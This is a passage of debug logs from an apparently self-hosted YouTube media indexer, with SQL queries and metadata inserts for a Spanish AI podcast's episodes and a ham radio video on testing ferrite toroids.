comentamos.\n\nPero esto es la IA de un dia a otro ... todo ha cambiado!!! por eso estamos aqui!!!\n\ny por fa 🙏 :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\nhashtag\n\nhashtag#IAMIQUE hashtag#Origen hashtag#ChatGPT hashtag#IAGen hashtag#GenAI hashtag#freepick \nORIGEN CORPORACIÓN BIOTECH lifely by Origen Genetics", "EP.13: TEXTO A VÍDEO", "b9e2deb5-b7c8-4fa5-aa7f-7a9b33aafc50", 649, false, "QlPDiQLIu8w", "https://www.youtube.com/watch?v=QlPDiQLIu8w", 37, "/downloads/music/IA mí QUÉ/EP.13: TEXTO A VÍDEO.m4a", false, false, false, 2, [], 97, ~U[2025-06-06 07:54:32Z], ~U[2026-02-07 21:28:03Z], ~U[2026-02-07 21:28:03Z], "Bueno el de hoy es de los espectaculares.... con el master and comander de David García Martínez aunque os he de decir que como lo teníamos grabado de antes de que saliera VEO3 no lo nombramos así que pronto os la actualizaremos por que ha mejorado sustancialmente las IA's que hoy os comentamos.\n\nPero esto es la IA de un dia a otro ... todo ha cambiado!!! por eso estamos aqui!!!\n\ny por fa 🙏 :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\nhashtag\n\nhashtag#IAMIQUE hashtag#Origen hashtag#ChatGPT hashtag#IAGen hashtag#GenAI hashtag#freepick \nORIGEN CORPORACIÓN BIOTECH lifely by Origen Genetics", "EP.13: TEXTO A VÍDEO", 649, false, "QlPDiQLIu8w", "https://www.youtube.com/watch?v=QlPDiQLIu8w", "/downloads/music/IA mí QUÉ/EP.13: TEXTO A VÍDEO.m4a", false, 2, ~U[2025-06-06 07:54:32Z]] 22:28:03.843 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=81.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:28:03.843 [debug] QUERY OK source="media_profiles" db=0.5ms idle=4.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:28:03.844 [debug] QUERY OK source="media_items" db=0.6ms idle=4.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1341] 22:28:03.844 [debug] Current batch of media processed. Will check again in 1000ms 22:28:03.893 [debug] Current batch of media processed. Will check again in 1000ms 22:28:04.845 [debug] Current batch of media processed. Will check again in 1000ms 22:28:04.894 [debug] Current batch of media processed. Will check again in 1000ms 22:28:05.846 [debug] Current batch of media processed. Will check again in 1000ms 22:28:05.895 [debug] Current batch of media processed. Will check again in 1000ms 22:28:06.847 [debug] Current batch of media processed. Will check again in 1000ms 22:28:06.896 [debug] Current batch of media processed. Will check again in 1000ms 22:28:07.848 [debug] Current batch of media processed. Will check again in 1000ms 22:28:07.897 [debug] Current batch of media processed. Will check again in 1000ms 22:28:08.849 [debug] Current batch of media processed. Will check again in 1000ms 22:28:08.898 [debug] Current batch of media processed. Will check again in 1000ms 22:28:09.850 [debug] Current batch of media processed. Will check again in 1000ms 22:28:09.899 [debug] Current batch of media processed. Will check again in 1000ms 22:28:10.851 [debug] Current batch of media processed. Will check again in 1000ms 22:28:10.900 [debug] Current batch of media processed. Will check again in 1000ms 22:28:11.852 [debug] Current batch of media processed. Will check again in 1000ms 22:28:11.901 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "MUY IMPORTANTE. LEER ESTO PRIMERO.\nHe tenido la experiencia de comprar varios toroides a proveedores nacionales y encontrarme que el material no era correcto. Pero ojo: no puedo identificar cual es cual (tenia varios y venían de distintos sitios, incluso uno regalado por un colega) por lo que NO puedo decir donde compré, ya que no sería justo para los comercios. Es mas, dado que los toroides son básicamente idénticos en apariencia, no es culpa de los comercios y se ha de tratar de un problema en origen ( quiero pensar que posiblemente una confusión a la hora de encajar/etiquetar). Publico esto para que si alguien tiene dudas vea de forma sencilla como identificar si es correcto o no, y no pretendo dañar la imagen de ningún comercio en España dado que no creo que tengan culpa alguna en este tema.\nLa idea es que podáis tener un procedimiento simple para verificar si son correctos los que tenéis, sobre todo en los casos en que hayáis montado un transformador 1:49 y no os haya funcionado correctamente.\n\nEl programa mostrado lo podeis descargar de aqui:\nhttps://www.dl0hst.de/mini-ringkern-rechner.htm#spain\n\nContenido del video\n00:00 - Introducción\n00:46 - Intro Canal\n01:04 - El problema\n05:05 - Como medir la inductancia\n06:18 - programa Mini Ring Core Calculator\n07:33 - Midiendo toroide erroneo\n08:59 - AL segun Fair Rite\n09:25 - Midiendo Toroide Fair-Rite\n11:30 - Midiendo otro toroide\n13:13 - Conclusiones\n\n#efhw #radioaficionados #antena #qrp #ft240 #ft240-43 #balun #unun #1:49 #1:64\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 941, "filename" => "/downloads/music/ea3grn/142 - PROBLEMAS CON TOROIDES FERRITA QUE NO FUNCIONAN BIEN.m4a", "id" => "0DlR5q7QSlg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=0DlR5q7QSlg", "playlist_index" => 39, "timestamp" => 1720886400, "title" => "142 - PROBLEMAS CON TOROIDES FERRITA QUE NO FUNCIONAN BIEN", "upload_date" => "20240713"} 22:28:11.902 [debug] QUERY OK source="sources" db=0.5ms idle=228.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:28:11.903 [debug] QUERY OK source="sources" db=0.4ms idle=142.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:28:11.904 [debug] QUERY OK source="media_items" db=0.6ms idle=142.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-07-13 16:00:00Z], 3] 22:28:11.906 [debug] QUERY OK source="media_items" db=1.4ms idle=143.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["MUY IMPORTANTE. LEER ESTO PRIMERO.\nHe tenido la experiencia de comprar varios toroides a proveedores nacionales y encontrarme que el material no era correcto. Pero ojo: no puedo identificar cual es cual (tenia varios y venían de distintos sitios, incluso uno regalado por un colega) por lo que NO puedo decir donde compré, ya que no sería justo para los comercios. Es mas, dado que los toroides son básicamente idénticos en apariencia, no es culpa de los comercios y se ha de tratar de un problema en origen ( quiero pensar que posiblemente una confusión a la hora de encajar/etiquetar). Publico esto para que si alguien tiene dudas vea de forma sencilla como identificar si es correcto o no, y no pretendo dañar la imagen de ningún comercio en España dado que no creo que tengan culpa alguna en este tema.\nLa idea es que podáis tener un procedimiento simple para verificar si son correctos los que tenéis, sobre todo en los casos en que hayáis montado un transformador 1:49 y no os haya funcionado correctamente.\n\nEl programa mostrado lo podeis descargar de aqui:\nhttps://www.dl0hst.de/mini-ringkern-rechner.htm#spain\n\nContenido del video\n00:00 - Introducción\n00:46 - Intro Canal\n01:04 - El problema\n05:05 - Como medir la inductancia\n06:18 - programa Mini Ring Core Calculator\n07:33 - Midiendo toroide erroneo\n08:59 - AL segun Fair Rite\n09:25 - Midiendo Toroide Fair-Rite\n11:30 - Midiendo otro toroide\n13:13 - Conclusiones\n\n#efhw #radioaficionados #antena #qrp #ft240 #ft240-43 #balun #unun #1:49 #1:64\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "142 - PROBLEMAS CON TOROIDES FERRITA QUE NO FUNCIONAN BIEN", "4170f4ea-1211-45b5-bbeb-c359fe4e0f13", 941, false, "0DlR5q7QSlg", "https://www.youtube.com/watch?v=0DlR5q7QSlg", 39, "/downloads/music/ea3grn/142 - PROBLEMAS CON TOROIDES FERRITA QUE NO FUNCIONAN BIEN.m4a", false, false, false, 3, [], 98, ~U[2024-07-13 16:00:00Z], ~U[2026-02-07 21:28:11Z], ~U[2026-02-07 21:28:11Z], "MUY IMPORTANTE. LEER ESTO PRIMERO.\nHe tenido la experiencia de comprar varios toroides a proveedores nacionales y encontrarme que el material no era correcto. Pero ojo: no puedo identificar cual es cual (tenia varios y venían de distintos sitios, incluso uno regalado por un colega) por lo que NO puedo decir donde compré, ya que no sería justo para los comercios. Es mas, dado que los toroides son básicamente idénticos en apariencia, no es culpa de los comercios y se ha de tratar de un problema en origen ( quiero pensar que posiblemente una confusión a la hora de encajar/etiquetar). Publico esto para que si alguien tiene dudas vea de forma sencilla como identificar si es correcto o no, y no pretendo dañar la imagen de ningún comercio en España dado que no creo que tengan culpa alguna en este tema.\nLa idea es que podáis tener un procedimiento simple para verificar si son correctos los que tenéis, sobre todo en los casos en que hayáis montado un transformador 1:49 y no os haya funcionado correctamente.\n\nEl programa mostrado lo podeis descargar de aqui:\nhttps://www.dl0hst.de/mini-ringkern-rechner.htm#spain\n\nContenido del video\n00:00 - Introducción\n00:46 - Intro Canal\n01:04 - El problema\n05:05 - Como medir la inductancia\n06:18 - programa Mini Ring Core Calculator\n07:33 - Midiendo toroide erroneo\n08:59 - AL segun Fair Rite\n09:25 - Midiendo Toroide Fair-Rite\n11:30 - Midiendo otro toroide\n13:13 - Conclusiones\n\n#efhw #radioaficionados #antena #qrp #ft240 #ft240-43 #balun #unun #1:49 #1:64\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "142 - PROBLEMAS CON TOROIDES FERRITA QUE NO FUNCIONAN BIEN", 941, false, "0DlR5q7QSlg", "https://www.youtube.com/watch?v=0DlR5q7QSlg", "/downloads/music/ea3grn/142 - PROBLEMAS CON TOROIDES FERRITA QUE NO FUNCIONAN BIEN.m4a", false, 3, ~U[2024-07-13 16:00:00Z]] 22:28:11.907 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=145.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:28:11.907 [debug] QUERY OK source="media_profiles" db=0.5ms idle=4.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:28:11.908 [debug] QUERY OK source="media_items" db=0.6ms idle=4.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1370] 22:28:11.908 [debug] Current batch of media processed. Will check again in 1000ms 22:28:12.853 [debug] Current batch of media processed. Will check again in 1000ms 22:28:12.909 [debug] Current batch of media processed. Will check again in 1000ms 22:28:13.854 [debug] Current batch of media processed. Will check again in 1000ms 22:28:13.910 [debug] Current batch of media processed. Will check again in 1000ms 22:28:14.855 [debug] Current batch of media processed. Will check again in 1000ms 22:28:14.911 [debug] Current batch of media processed. Will check again in 1000ms 22:28:15.856 [debug] Current batch of media processed. Will check again in 1000ms 22:28:15.912 [debug] Current batch of media processed. Will check again in 1000ms 22:28:16.857 [debug] Current batch of media processed. Will check again in 1000ms 22:28:16.913 [debug] Current batch of media processed. Will check again in 1000ms 22:28:17.858 [debug] Current batch of media processed. Will check again in 1000ms 22:28:17.914 [debug] Current batch of media processed. Will check again in 1000ms 22:28:18.859 [debug] Current batch of media processed. Will check again in 1000ms 22:28:18.915 [debug] Current batch of media processed. Will check again in 1000ms 22:28:19.860 [debug] Current batch of media processed. Will check again in 1000ms 22:28:19.916 [debug] Current batch of media processed. Will check again in 1000ms 22:28:20.861 [debug] Current batch of media processed. Will check again in 1000ms 22:28:20.917 [debug] Current batch of media processed. Will check again in 1000ms 22:28:21.201 [info] {"source":"oban","duration":950,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:28:21.862 [debug] Current batch of media processed. Will check again in 1000ms 22:28:21.918 [debug] Current batch of media processed. Will check again in 1000ms 22:28:22.863 [debug] Current batch of media processed. Will check again in 1000ms 22:28:22.919 [debug] Current batch of media processed. Will check again in 1000ms 22:28:23.864 [debug] Current batch of media processed. Will check again in 1000ms 22:28:23.920 [debug] Current batch of media processed. Will check again in 1000ms 22:28:24.865 [debug] Current batch of media processed. Will check again in 1000ms 22:28:24.921 [debug] Current batch of media processed. Will check again in 1000ms 22:28:25.866 [debug] Current batch of media processed. Will check again in 1000ms 22:28:25.922 [debug] Current batch of media processed. Will check again in 1000ms 22:28:26.867 [debug] Current batch of media processed. Will check again in 1000ms 22:28:26.923 [debug] Current batch of media processed. Will check again in 1000ms 22:28:27.868 [debug] Current batch of media processed. Will check again in 1000ms 22:28:27.924 [debug] Current batch of media processed. Will check again in 1000ms 22:28:28.869 [debug] Current batch of media processed. Will check again in 1000ms 22:28:28.925 [debug] Current batch of media processed. Will check again in 1000ms 22:28:29.870 [debug] Current batch of media processed. Will check again in 1000ms 22:28:29.926 [debug] Current batch of media processed. Will check again in 1000ms 22:28:30.871 [debug] Current batch of media processed. Will check again in 1000ms 22:28:30.927 [debug] Current batch of media processed. Will check again in 1000ms 22:28:31.872 [debug] Current batch of media processed. Will check again in 1000ms 22:28:31.928 [debug] Current batch of media processed. Will check again in 1000ms 22:28:32.873 [debug] Current batch of media processed. Will check again in 1000ms 22:28:32.929 [debug] Current batch of media processed. Will check again in 1000ms 22:28:33.874 [debug] Current batch of media processed. Will check again in 1000ms 22:28:33.930 [debug] Current batch of media processed. Will check again in 1000ms 22:28:34.875 [debug] Current batch of media processed. Will check again in 1000ms 22:28:34.931 [debug] Current batch of media processed. Will check again in 1000ms 22:28:35.876 [debug] Current batch of media processed. Will check again in 1000ms 22:28:35.932 [debug] Current batch of media processed. Will check again in 1000ms 22:28:36.877 [debug] Current batch of media processed. Will check again in 1000ms 22:28:36.933 [debug] Current batch of media processed. Will check again in 1000ms 22:28:37.878 [debug] Current batch of media processed. Will check again in 1000ms 22:28:37.934 [debug] Current batch of media processed. Will check again in 1000ms 22:28:38.879 [debug] Current batch of media processed. Will check again in 1000ms 22:28:38.935 [debug] Current batch of media processed. Will check again in 1000ms 22:28:39.880 [debug] Current batch of media processed. Will check again in 1000ms 22:28:39.936 [debug] Current batch of media processed. Will check again in 1000ms 22:28:40.881 [debug] Current batch of media processed. Will check again in 1000ms 22:28:40.937 [debug] Current batch of media processed. Will check again in 1000ms 22:28:41.882 [debug] Current batch of media processed. Will check again in 1000ms 22:28:41.938 [debug] Current batch of media processed. Will check again in 1000ms 22:28:42.883 [debug] Current batch of media processed. Will check again in 1000ms 22:28:42.939 [debug] Current batch of media processed. Will check again in 1000ms 22:28:43.884 [debug] Current batch of media processed. Will check again in 1000ms 22:28:43.940 [debug] Current batch of media processed. Will check again in 1000ms 22:28:44.885 [debug] Current batch of media processed. Will check again in 1000ms 22:28:44.941 [debug] Current batch of media processed. Will check again in 1000ms 22:28:45.886 [debug] Current batch of media processed. Will check again in 1000ms 22:28:45.942 [debug] Current batch of media processed. Will check again in 1000ms 22:28:46.887 [debug] Current batch of media processed. Will check again in 1000ms 22:28:46.943 [debug] Current batch of media processed. Will check again in 1000ms 22:28:47.888 [debug] Current batch of media processed. Will check again in 1000ms 22:28:47.944 [debug] Current batch of media processed. Will check again in 1000ms 22:28:48.889 [debug] Current batch of media processed. Will check again in 1000ms 22:28:48.945 [debug] Current batch of media processed. Will check again in 1000ms 22:28:49.890 [debug] Current batch of media processed. Will check again in 1000ms 22:28:49.946 [debug] Current batch of media processed. Will check again in 1000ms 22:28:50.891 [debug] Current batch of media processed. Will check again in 1000ms 22:28:50.947 [debug] Current batch of media processed. Will check again in 1000ms 22:28:51.203 [info] {"source":"oban","duration":929,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:28:51.892 [debug] Current batch of media processed. Will check again in 1000ms 22:28:51.948 [debug] Current batch of media processed. Will check again in 1000ms 22:28:52.893 [debug] Current batch of media processed. Will check again in 1000ms 22:28:52.949 [debug] Current batch of media processed. Will check again in 1000ms 22:28:53.894 [debug] Current batch of media processed. Will check again in 1000ms 22:28:53.950 [debug] Current batch of media processed. Will check again in 1000ms 22:28:54.895 [debug] Current batch of media processed. Will check again in 1000ms 22:28:54.951 [debug] Current batch of media processed. Will check again in 1000ms 22:28:55.896 [debug] Current batch of media processed. Will check again in 1000ms 22:28:55.952 [debug] Current batch of media processed. Will check again in 1000ms 22:28:56.897 [debug] Current batch of media processed. Will check again in 1000ms 22:28:56.953 [debug] Current batch of media processed. Will check again in 1000ms 22:28:57.898 [debug] Current batch of media processed. Will check again in 1000ms 22:28:57.954 [debug] Current batch of media processed. Will check again in 1000ms 22:28:58.899 [debug] Current batch of media processed. Will check again in 1000ms 22:28:58.955 [debug] Current batch of media processed. Will check again in 1000ms 22:28:59.900 [debug] Current batch of media processed. Will check again in 1000ms 22:28:59.956 [debug] Current batch of media processed. Will check again in 1000ms 22:29:00.105 [info] {"source":"oban","duration":189,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:29:00.901 [debug] Current batch of media processed. Will check again in 1000ms 22:29:00.957 [debug] Current batch of media processed. Will check again in 1000ms 22:29:01.902 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "", "duration" => 582, "filename" => "/downloads/music/IA mí QUÉ/EP.12 - De texto a audio 2.0.m4a", "id" => "oReFV52mxVU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=oReFV52mxVU", "playlist_index" => 38, "timestamp" => 1747980041, "title" => "EP.12 - De texto a audio 2.0", "upload_date" => "20250523"} 22:29:01.903 [debug] QUERY OK source="sources" db=0.5ms idle=1142.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:29:01.904 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1141.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:29:01.905 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=143.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-23 06:00:41Z], 2] 22:29:01.906 [debug] QUERY OK source="media_items" db=0.7ms idle=144.9ms INSERT INTO "media_items" AS m0 ("title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["EP.12 - De texto a audio 2.0", "efa37e4a-610c-43bc-9cdc-a1d5607c8f90", 582, false, "oReFV52mxVU", "https://www.youtube.com/watch?v=oReFV52mxVU", 38, "/downloads/music/IA mí QUÉ/EP.12 - De texto a audio 2.0.m4a", false, false, false, 2, [], 97, ~U[2025-05-23 06:00:41Z], ~U[2026-02-07 21:29:01Z], ~U[2026-02-07 21:29:01Z], "", "EP.12 - De texto a audio 2.0", 582, false, "oReFV52mxVU", "https://www.youtube.com/watch?v=oReFV52mxVU", "/downloads/music/IA mí QUÉ/EP.12 - De texto a audio 2.0.m4a", false, 2, ~U[2025-05-23 06:00:41Z]] 22:29:01.907 [debug] QUERY OK source="sources" db=0.3ms idle=143.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:29:01.907 [debug] QUERY OK source="media_profiles" db=0.3ms idle=3.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:29:01.908 [debug] QUERY OK source="media_items" db=0.5ms idle=3.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1343] 22:29:01.908 [debug] Current batch of media processed. Will check again in 1000ms 22:29:01.958 [debug] Current batch of media processed. Will check again in 1000ms 22:29:02.909 [debug] Current batch of media processed. Will check again in 1000ms 22:29:02.959 [debug] Current batch of media processed. Will check again in 1000ms 22:29:03.910 [debug] Current batch of media processed. Will check again in 1000ms 22:29:03.960 [debug] Current batch of media processed. Will check again in 1000ms 22:29:04.911 [debug] Current batch of media processed. Will check again in 1000ms 22:29:04.961 [debug] Current batch of media processed. Will check again in 1000ms 22:29:05.912 [debug] Current batch of media processed. Will check again in 1000ms 22:29:05.962 [debug] Current batch of media processed. Will check again in 1000ms 